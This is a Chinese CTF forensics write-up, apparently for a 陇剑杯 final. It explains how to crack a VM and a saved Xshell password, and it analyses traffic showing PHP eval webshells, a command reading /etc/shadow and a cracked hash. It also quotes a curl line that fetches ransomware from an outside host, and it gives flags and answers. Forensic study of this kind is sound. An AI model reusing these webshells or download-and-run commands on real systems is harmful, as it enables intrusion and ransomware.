题目内容:攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag
由第二题解题过程中可得,这个是第三题的答案flag{1198be3b489ae0ddf88d0e6733e88fa6}
决赛
win
win-1
题目内容:小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?
这个题打开vmx
文件就能看到这就是上一届陇剑杯出过的虚拟机加密的题目2021陇剑杯-机密内存-解题过程分析。首先需要解密虚拟机,需要用的工具是pyvmx-cracker
。但是会发现解密不了,对照了一下去年的原题,发现vmx
文件多了个encryptedVM.guid = ""
,删除掉这一行就能解密了。
密码是somewhere
,因此这道题的答案就是somewhere。
(当时做这道题的时候,根据题目提示直接从kali里面找rockyou.txt
,当时就用134M的密码本跑,结果给跑出来了,没想到最后是主办方给的密码本。)
win-2
题目内容:xshell链接的密码是多少?
通过自己本地电脑找到的xmanager存放的数据文件夹位置C:\Users\xxx\Documents\NetSarang Computer\7
,同样能够在虚拟机里找到,版本是xshell6。
打开Sessions
文件夹发现有一个新建会话.xsh
文件,里面存放的就是ssh的连接信息。在这里面能够看到加密后的密码,具体xshell对于保存的ssh密码进行加密的流程在这里How does Xmanager encrypt password?。使用脚本进行解密最后结果是123456a
因此这道题的答案是123456a。
win-3
题目内容:总共访问了几次 www.baidu.com?
打开原生的IE浏览器,没有发现有相关的历史记录。
打开火狐浏览器,寻找历史记录打开访问次数列。可以看到访问10次www.baidu.com。所以这道题答案就是10。
mid
mid-1
题目内容:从哪个文件中获得到后台的用户名密码?
打开流量包,过滤器http.response.code != 404
,过滤掉那些404的请求,可以看到有个robots.txt
,里面有一串base64,解码后发现是用户名密码。
因此这道题的答案就是robots.txt。
mid-2
题目内容:admin的密码通过哪个函数进行加密存储,答案示例 exec()。
刚开始我以为是前端加密,疯狂寻找没有找到有用的。所以重点查看后面执行命令的地方。可以看到写入文件.1ndex.php
的命令。但是访问这个文件发现没有权限。
于是重新了个文件是1ndex.php
,并且成功访问此文件。
写入的文件内容是
<?php eval($_POST[hi]); ?>
于是后面的代码执行就顺理成章。发现后面对一些php文件进行有导出成txt的操作。
看到4.txt,就是Authentication.php
的代码内容,可以看到代码注释是Create password hash from plaintext password.
。加密函数用的是password_hash
。
那么这道题的答案就是password_hash
mid-3
题目内容:写入的第一次的shell的连接密码是多少?
在上题说过,第一次写入文件是.1ndex.php
,把写入的文件内容找到。
解码后内容是<?php eval($_POST[1]); ?>
,因此这道题的答案就是1。
mid-4
题目内容:用户 hack 的密码是多少?
后面POST /1ndex.php
,进行代码执行。解码后分析一下上传的代码,主要看输出的地方,可以看到输出缓冲区的内容被rot13编码了,并且头和尾增加了脏数据。
继续往下看,找到这条流量,分析代码,找到执行命令的位置。把base64去除前两位,解码就可以看到执行cd "/var/www/html";cat /etc/shadow;echo bdfbedc;pwd;echo fdc4afba5b
。
找到关于hacker
的shadow信息,hack:$6$scJ3Xg1qPInqVVtG$JafeFeTcqSBmXTcbNAoGSyt4TkvZpvwLhLy89FM9c1fakLdkywf5eLzuFledt01PpOXncSUCHrW83PJ0VLC370:19586:0:99999:7:::
。
使用john进行破解,所以这道题的答案就是qwerty
ransom
ransom-1
题目内容:攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)
过滤HTTP之后,通过后门进行命令执行。可以看到执行命令dir
,返回结果如下
继续往下看,发现执行了一个curl命令curl 192.168.204.1:8000/test.exe --output test.exe
。并且后续执行此exe,对某些文件进行了加密操作,因此这个test.exe
就是勒索病毒。
所以这道题的答案就是223EA13EFD517D185708AFF1DA8B9CBBD9D1B97D1CB3E7B9107CDA2FFCB599C9
ransom-2
题目内容:勒索病毒对本地文件继续了加密,给出加密文件的数量
上道题可以看出,运行test.exe
,会将secret.txt
加密成secret.txt.enc
。但是用http继续过滤时没有发现相关的流量,就很奇怪。于是把过滤器清空,发现有一段TCP流量,但是没有转换成HTTP。
于是追踪TCP流,可以看到总共是133个文件被加密。
所以这道题的答案就是133。
ransom-3
题目内容:恢复被加密的secret.txt的内容
流量中发现读取了e:\tmp.txt
,也读取secret.txt.enc
。其中的细节需要逆向分析,这方面等有所成之后再来细究一下。